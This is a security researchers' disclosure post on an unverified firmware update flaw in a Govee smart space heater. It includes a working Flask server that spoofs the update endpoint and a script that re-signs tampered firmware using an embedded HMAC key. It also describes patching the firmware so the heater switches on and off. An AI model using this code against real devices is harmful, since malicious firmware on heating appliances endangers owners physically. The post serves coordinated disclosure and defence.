Our team has been discussing the increasing popularity of “smart” home appliances, and we decided to take a look at one from a security perspective. In this post, we will focus on one smart appliance in detail, and discuss how we exploited an unverified firmware update process to modify its firmware. This attack would be achievable by an attacker able to perform a man-in-the-middle attack on the local network. Our modified firmware demonstrates turning the appliance on and off, but really modifying firmware gives us complete control over the appliance; we could modify its physical behavior or its network communications, and we can make our modifications obvious or subtle.

We decided to take a look at an appliance made by Govee, a smart lighting and home appliance brand; they sell a number of home appliances with WiFi and Bluetooth connectivity and they have a phone app to manage their appliances. We chose one of their space heaters as a target:

GoveeLife Smart Space Heater Lite [this product has since been recalled]

We really tried our best to work with the vendor when considering how to coordinate disclosure. The timeline involved a series of back and forth emails dating back to early 2024, wherein the vendor repeatedly pushed for more time before we went public with the vulnerability details due to the complexity and logistics of the necessary remediation actions. Check out our technical details of the vulnerability below, and stay tuned for the full timeline of vendor communications at the conclusion of this post. In late 2024, the product we discuss in this post (in addition to other similar products) was recalled by the Consumer Product Safety Division, so if you or anyone you know owns a device included in that report, please discontinue using the product and review the vendor’s guidance here.

With that said, lets dive right into the technical details!

The first thing we did after unboxing the space heater was to connect it to a test WiFi network using the Govee phone app. We immediately noticed it making some cleartext HTTP requests, one of which was checking for a firmware update:

POST /device/rest/devices/v1/wifiCheckVersion HTTP/1.1
Host: app.govee.com
Accept: text/xml,application/json;*/*
envId:0
Content-Length: 158
Content-Type: application/json

{"sku":"H7135","wifiVersionHard":"1.02.00","wifiVersionSoft":"1.00.09","device":"1C:FA:D4:AD:FC:82:AA:07", "timezoneID":"", "yearDST":"2024", "supportDST": 0}

The response contained the URL of the firmware image, which the space heater subsequently downloaded:

HTTP/1.1 200 OK
Date: Thu, 01 Feb 2024 19:42:34 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 484
Connection: keep-alive
Vary: Origin
Access-Control-Allow-Origin: *
X-RTime: 17ms
X-traceId: 0b993d00-c13a-11ee-96ed-af6a0a6dc03e

{"data":{"dst":{"deviceDst":[{"stime":1710064800,"etime":1730624400,"gmtoff1":-25200,"gmtoff2":-28800}],"timezoneID":"America/Los_Angeles","sync":1}},"checkVersion":{"sku":"H7135","versionHard":"1.02.00","versionSoft":"1.00.13","needUpdate":true,"downloadUrl":"http://s3.amazonaws.com/govee-public/upgrade-pack/62c9486b3b668992ebb413cc2ee0ad4e-H7135_CMS726_WIFI_BLE_HW1.02.00_SW1.00.13_OTA.bin","md5":"3b668992ebb413cc","size":874820,"time":28446943},"message":"success","status":200}

This raised some questions – is this OTA (over-the-air) update scheme secured at all? Can we hijack the HTTP connections made to check and update the firmware, in order to run our own modified firmware?

Spoiler alert: we can, but it takes a few steps to get there.

Taking it apart

Here’s the space heater, with lid on and off:

In the second picture, you can see the touch sensor buttons, and locations of the LEDs. This is what the main board looks like, removed from the rest of the enclosure:

The primary controller on the main board, which runs the firmware we downloaded, is a WiFi and Bluetooth module, visible on the left. It communicates with another microcontroller, visible in the center of the main board over a serial UART; this secondary microcontroller drives the LEDs, buttons, heater, fan, and so on.

Underneath the main board is the rest of the non-”smart” space heater functionality, and a power supply:

Here’s a closeup of the WiFi/Bluetooth module:

There isn’t any visible labeling in this photo, however we were able to identify the module from this string in the firmware image:

AmebaZIIRTL8710C

This string identifies the module as an Ameba Z2 module, based on the RTL8710 Realtek SoC. This is one of a family of Realtek WiFi and Bluetooth modules based on the RTL8710. If you’re familiar with the popular Espressif ESP8266 modules, these are competitors. For a bit more information: NEW CHIP ALERT: RTL8710, A CHEAPER ESP8266 COMPETITOR.

You may have also noticed the unpopulated header pins labeled TXD and RXD; these connect to a debugging UART on the Ameba Z2. The debugging UART outputs debug messages, and it even has a simple interactive command prompt. The “GoveeShell” prompt asks for a password, but it’s not hard to guess from a list of strings in the firmware image:

$ strings 62c9486b3b668992ebb413cc2ee0ad4e-H7135_CMS726_WIFI_BLE_HW1.02.00_SW1.00.13_OTA.bin | grep -A 10  "input password"
Please input password:
Return:
, 0x
00000000000
qHandle queue is NULL
[redacted]
default user
setVar
set var
right
left

With the password, we can list supported commands. Note that there was a separate thread on the module constantly dumping hex bytes from the UART connection to the secondary microcontroller, which are interspersed with the shell output:

Please input password:
uart send: 
55 F7 01 4D 
 81 07
uart send: 
55 F7 02 4E 
 41 01
[redacted]
  ____                       ____  _          _ _ 
 / ___| _____   _____  ___  / ___|| |__   ___| | |
| |  _ / _ \ \ / / _ \/ _ \ \___ \| '_ \ / _ \ | |
| |_| | (_) \ V /  __/  __/  ___) | | | |  __/ | |
 \____|\___/ \_/ \___|\___| |____/|_| |_|\___|_|_|

Build:       Dec 29 2023 10:08:09
Version:     1.0.1
Copyright:   (c) 2020 Govee

Govee:/$  A9 02 00 00
cmds

Command List:
setVar                CMD   set var
users                 CMD   list all user
cmds                  CMD   list all cmd
vars                  CMD   list all var
keys                  CMD   list all key
clear                 CMD   clear console
reboot                CMD   reboot device
tasklist              CMD   get task list
taskinfo              CMD   get task info
free                  CMD   get free heap
ping                  CMD   ping - c 3 - s 32 - i 100 - w 1000 www.baidu.com
log                   CMD   log print / upload / info leve
iperf                 CMD   iperf - h
ifconfig              CMD   network info
wifi                  CMD   wifi set ssid pwd
date                  CMD   date - h
timer                 CMD   timer set countdown
dev_info              CMD   show dev info

Govee:/$  

Modifying the Firmware

We wrote this simple Python Flask app to imitate the http://app.govee.com/device/rest/devices/v1/wifiCheckVersion endpoint and then redirected requests for app.govee.com to the Flask server using DNS on the test WiFi network:

#!/usr/bin/env python

from flask import Flask, make_response
import hashlib
import json

app = Flask(__name__)

FW_FILE_NAME = "./patched-fw.bin"
HOSTNAME = "192.168.12.1"
ORIG_JSON = '{"data":{"dst":{"deviceDst":[{"stime":0,"etime":0,"gmtoff1":0,"gmtoff2":0}],"timezoneID":"America/Los_Angeles","sync":1}},"checkVersion":{"sku":"H7135","versionHard":"1.02.00","versionSoft":"1.00.13","needUpdate":true,"downloadUrl":"http://s3.amazonaws.com/govee-public/upgrade-pack/62c9486b3b668992ebb413cc2ee0ad4e-H7135_CMS726_WIFI_BLE_HW1.02.00_SW1.00.13_OTA.bin","md5":"3b668992ebb413cc","size":874820,"time":0},"message":"success","status":200}'

@app.route('/')
def index():
    return "Test"

@app.route('/device/rest/devices/v1/wifiCheckVersion', methods= ['GET', 'POST'])
def check_version():
    file = open(FW_FILE_NAME, "rb")
    data = file.read()
    file.close()
    md5_hash = hashlib.md5(data).hexdigest()
    print(md5_hash[8:-8])
    print(len(data))
    blob = json.loads(ORIG_JSON)
    blob["checkVersion"]["needUpdate"] = True
    blob["checkVersion"]["downloadUrl"] = f"http://{HOSTNAME}/fw.bin"
    blob["checkVersion"]["md5"] = md5_hash[8:-8]
    blob["checkVersion"]["size"] = len(data)
    return json.dumps(blob)

@app.route('/fw.bin')
def download_firmware():
    file = open(FW_FILE_NAME, "rb")
    data = file.read()
    file.close()
    resp = make_response(data)
    resp.headers['Content-Type'] = 'application/octet-stream'
    return resp

The script replies with the JSON string we sniffed from the original request, except it points to our modified firmware file.

After modifying a few bytes in the firmware and attempting an update using the Flask server, we saw this on the debug UART:

[HAL_Ota_EraseUpdateRegion] flash_addr: 0xc000, len: 874820

[update_ota_erase_upg_region] NewFWLen 874820
[update_ota_erase_upg_region] NewFWBlkSize 214  0xc000 7F 02 00 00
 7F 02 00 00
 7F 02 00 00
[HAL_Ota_DoChecksum] flash_addr: 0xc000, len: 874820, flash checksum 0x 59ce074, attached checksum 0x 59cdf50
[HAL_Ota_DoChecksum] The checksume is wrong!
ERR|2024-2-5 11:13:52|_check_download_result(159): do checksum fail!
ERR|2024-2-5 11:13:52|ota_service_thread_func(298): OTA failed! Do it again

The message indicates a checksum failure, and the OTA update failed. This is a simple checksum; it’s just a sum of all the bytes in the firmware image appended to the end of the file. The difference between the attached and expected checksums was the same as the difference in the original and patched bytes. Once we fixed this checksum, the module was happy to flash the modified firmware image:

[HAL_Ota_EraseUpdateRegion] flash_addr: 0xc000, len: 874820

[update_ota_erase_upg_region] NewFWLen 874820
[update_ota_erase_upg_region] NewFWBlkSize 214  0xc000 83 02 00 00
uart send: 
55 F0 0E 53 
 0E
 83 02 00 00
[HAL_Ota_DoChecksum] flash_addr: 0xc000, len: 874820, flash checksum 0x 59ce074, attached checksum 0x 59ce074
[HAL_Ota_UpdateSignature] flash_addr: 0xc000, len: 32

[update_ota_signature] Append OTA signature NewFWAddr: 0xc000
[update_ota_signature] signature:
 B8 5B 6A B5 DD B6 EB CB 87 08 A8 52 F2 43 6C D1
 5D 19 61 8F D9 BE BD 9E 54 32 C4 1F BE D7 3C A1 82 02 00 00
 83 02 00 00
uart send: 
55 F0 0F 54 
 0F
 83 02 00 00
 83 02 00 00
 83 02 00 00
uart send: 
55 F0 10 55 
 10
 83 02 00 00
 83 02 00 00
 83 02 00 00
uart send: 
55 F0 11 56 
 11
 83 02 00 00
 83 02 00 00
 83 02 00 00
uart send: 
55 F0 12 57 
 12
 83 02 00 00
Device rebooting ..
== Rtl8710c IoT Platform ==
Chip VID: 5, Ver: 3
ROM Version: v3.0

== Boot Loader ==
Dec  9 2020:20:15:00
[MISC Err]Hash Result Incorrect!
Boot Load Err!

Unfortunately, the bootloader was unhappy with the modified firmware, and the device hung at this bootloader error on startup; the device was effectively bricked.

Oh no, it’s bricked

At this point, we decided to remove the module from the main board. Once it was de-soldered, we verified it still worked when powered (it still would output a bootloader message on the debug UART), and were happy to discover a silkscreened pinout on the bottom of the module:

The pinout was helpful, as there are various versions of these modules with slightly different pinouts.

In this situation, we found the open source tool ltchiptool useful to dump and flash the firmware on this particular module. This is an open-source tool made by independent contributors to support open-source development on several different embedded wireless modules. With the module removed from the main board, we were able to use the tool to dump the firmware that was presently on the device, undo the modifications we had made, and re-flash the module.

Next, we connected some wires to the module so that we could connect its control UART back to the main board, interact with the debug UART, and still re-flash the module as needed:

The ltchiptool code contains a script parse_partition.py that describes the firmware file format in more detail. The firmware contains sections, each with a header that contains an HMAC-SHA256 signature of the contents which is verified by the bootloader. The module appears to support a secure-boot mode in which the HMAC key is derived from a secret value, but in this case secure-boot was disabled and the HMAC key was included in one of the headers of the firmware image. With this information it was possible to write a script to fix up the HMAC values and the simple checksum within a modified firmware file:

#!/usr/bin/env python
# Note: the constants in this file are specific to modifying the firmware image 62c9486b3b668992ebb413cc2ee0ad4e-H7135_CMS726_WIFI_BLE_HW1.02.00_SW1.00.13_OTA.bin

import os
import hmac

FW_FILE_NAME = "./patched-fw.bin"

HASH_KEY = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x5f"

def main():
    file = open(FW_FILE_NAME, "r+b")

    # Patch the ota_signature hash, which covers the serial/version number
    file.seek(32*7, os.SEEK_SET)
    data = file.read(0x60)
    hm = hmac.new(HASH_KEY, data, 'sha256')
    digest = hm.digest()
    print(f"OTA Signature {hm.hexdigest()=}")
    file.seek(0, os.SEEK_SET)
    file.write(digest)

    # Patch the HMAC hash value for the first block
    file.seek(0, os.SEEK_SET)
    data = file.read(0x2ae0)
    hm = hmac.new(HASH_KEY, data, 'sha256')
    digest = hm.digest()
    print(f"First block {hm.hexdigest()=}")
    file.seek(0x2ae0, os.SEEK_SET)
    file.write(digest)

    # Patch the HMAC hash value for the second block
    file.seek(0x4000, os.SEEK_SET)
    data = file.read(0x9eb00)
    hm = hmac.new(HASH_KEY, data, 'sha256')
    digest = hm.digest()
    print(f"Second block {hm.hexdigest()=}")
    file.seek(0xa2b00, os.SEEK_SET)
    file.write(digest)

    # Patch the HMAC hash value near the end of the image
    file.seek(0xa4000, os.SEEK_SET)
    data = file.read(0x31900)
    hm = hmac.new(HASH_KEY, data, 'sha256')
    digest = hm.digest()
    print(f"End of file {hm.hexdigest()=}")
    file.seek(-68, os.SEEK_END)
    file.write(digest)

    # Patch the checksum value at the very end of the image
    file.seek(0, os.SEEK_SET)
    data = file.read()
    cksum = 0
    for i in range(len(data)-4):
        cksum += data[i]
    cksum = cksum & 0xFFFFFFFF
    file.seek(-4, os.SEEK_END)
    print(f"{cksum=}")
    file.write(cksum.to_bytes(4, 'little'))
    file.close()

if __name__ == "__main__":
    main()

At this point, it was possible to modify a firmware file, run the script to fix the HMAC and checksum values, and use the Flask app to flash the firmware over the WiFi.

Making the firmware do something interesting

We wanted to made a proof-of-concept modification to the firmware that would make it obvious that the firmware had been modified. When the heater turns on or off it triggers a relay (physical electronically controlled switch), making an audible click, so we focused on that.

By watching the debug and main UART connections, we identified the command sequences that the module sends to turn on and off the heater.

Using the section address values from the firmware headers, we extracted the firmware sections and loaded them into the correct locations in Ghidra’s memory map. Once in Ghidra we found the reference to the “uart send:” string that we saw on the debug UART. Luckily, the firmware contained many debugging strings. From the debugging strings, we learned that the reference to “uart send:” was in a FreeRTOS task, and it was reading UART bytes from a FreeRTOS queue. By following references to the queue handle, we identified a function named Govee_Uart_Protocol_Package (the name was referenced in debug strings), which was used to encode the messages sent on the main UART connection. We decided this function was a good target for modification. We replaced some error-checking code at the beginning of the function with code that replaced every message it was asked to encode with a “turn on the heater” or a “turn off the heater” message.

The module is sending messages on the main UART often – heartbeat messages, commands to get sensor data, etc. With our modified code, each of those messages is changed into a “turn on” or “turn off” command. Once we flashed this firmware it was immediately obvious that the device had been hacked – it would incessantly click on and off as long as it was plugged in.

This video shows the attack against the disassembled space heater. In the upper left is wireshark, and in the bottom right is the debug UART output. In the video, you can see:

• The check version request as green (HTTP) packets
• The modified firmware being downloaded
• The firmware checksum verification and flashing
• Almost a minute later, the module reboots and you can see it (and hear it, if you turn on audio) clicking on and off
• At the end of the video is a clip of the modified firmware running on a space heater with unmodified hardware.

The debug UART messages get more verbose after our patch because we use one of the higher bits in the log level variable to store the toggle state (whether we just turned the heater on or off). Fair warning, the audible clicking sound starts around the 1:27 mark:

Conclusions

We reached out to Govee with our findings and they promptly responded acknowledging the issue as a product security concern. They stated they would be taking the following remediation actions:

1. Implementing asymmetric encryption for firmware updates.
2. Transitioning all network communication from HTTP to HTTPS or MQTTS protocols.

However, the Include Security team was not given a timeline for when these changes would be implemented.

If mitigations are implemented as normal firmware updates, then unplugging and re-powering a device should cause it to update. In the mean time, users can disconnect their devices from the WiFi network, though this will limit functionality.

From a developer perspective, OTA firmware updates should be secured by using an authenticated and encrypted HTTPS connection if possible, and a secure boot implementation that verifies firmware integrity should be put in place. In this device, the WiFi module was capable of making HTTPS connections, and did in some cases, but the OTA process was one case where it didn’t. The module appeared to support a more robust secure boot implementation, which was not used. Also, the OTA process would ideally cryptographically verify an update before trying to boot it, rather than relying on a simple checksum as an integrity check.

Attackers are going to generally look for the easiest vulnerabilities to exploit with the highest impact. Unverified OTA firmware updates are a relatively simple to attack, and are high-impact – any device software functionality can be modified. We don’t have statistics on how common unverified OTA schemes are in IoT and smart appliances, but it may be telling that we found one so easily.

In this case, we found development tools that documented the firmware format of the WiFi module. Since WiFi and Bluetooth are difficult to implement from scratch, modules like the one in this space heater have become popular. The more ubiquitous a module is, the more likely tools for developing software for it are readily available online, and the easier it becomes to hack devices based on those modules.

Vulnerability Disclosure Timeline

• April 17, 2024 – Initial vulnerability writeup and details are sent to [email protected].
• April 18, 2024 – Govee security team ([email protected]) reaches out to IncludeSec acknowledging the vulnerability and lists remediation actions Govee intends to take that will address the vulnerability.
• April 24, 2024 – IncludeSec reaches out to the Govee security team inquiring about a release schedule for the planned remediation actions in an effort to coordinate vulnerability disclosure.
• May 9, 2024 – Govee notifies IncludeSec that they are “actively conducting urgent reviews and validations to ensure the effectiveness and stability of the vulnerability fix solution”. A remediation timeline had not yet been established, and the IncludeSec team would be contacted once that changed.
• July 2, 2024 – The IncludeSec team informs Govee over 90 days had passed since the original vulnerability disclosure date and that IncludeSec intended to publish its findings within the month per the disclosure standard followed by Google (https://about.google/appsecurity/). IncludeSec asks Govee to provide any updated information regarding a remediation timeline.
• July 2, 2024 – The same day, Govee responds stating “the release schedule for this update is still being finalized, and we will notify you as soon as a date is confirmed. We anticipate that the development will be completed by early September 2024. Due to the ongoing development of the security firmware, we kindly request that details of the vulnerability not be disclosed at this time”.
• July 17, 2024 – IncludeSec responds stating they will wait until September to publish the vulnerabilities details due to the challenges associated with updating firmware security en masse to the public.
• July 18, 2024 – Govee responds stating their remediation timeline has been updated and that “our current estimate is that we will complete the full deployment of the fix by the first half of 2025.”
• Jan 21, 2025 – IncludeSec team reaches out informing Govee that the team still intends to publish its findings and to inquire about any status updates regarding remediation efforts. No reply is received.
• Jan 27, 2025 – IncludeSec team reaches out again, notifying Govee that the vulnerability details will be published in February of 2025, and requesting any final context Govee wishes to provide before that time. No reply is received.
• February 4, 2025 – IncludeSec publishes the vulnerability details.

Since this post was originally written and communication with the Govee team paused in mid-2024, the Consumer Product Safety Commission recalled multiple models of Govee space heaters, including the model our team was testing (H7135), stating:

“The smart electric space heaters can overheat, posing fire and burn hazards. Testing determined the smart electric space heaters do not comply with the voluntary industry safety standard, UL 1278, posing an overheating and fire risk from wireless control features.” – GoveeLife and Govee Smart Electric Space Heaters Recalled Due to Fire and Burn Hazards; Imported by Govee

The article states that “113 reports of overheating, including seven reports of fires and one report of a minor burn injury” were associated with the recalled devices. IncludeSec is not aware whether the vulnerability details described in this post contributed to the recall.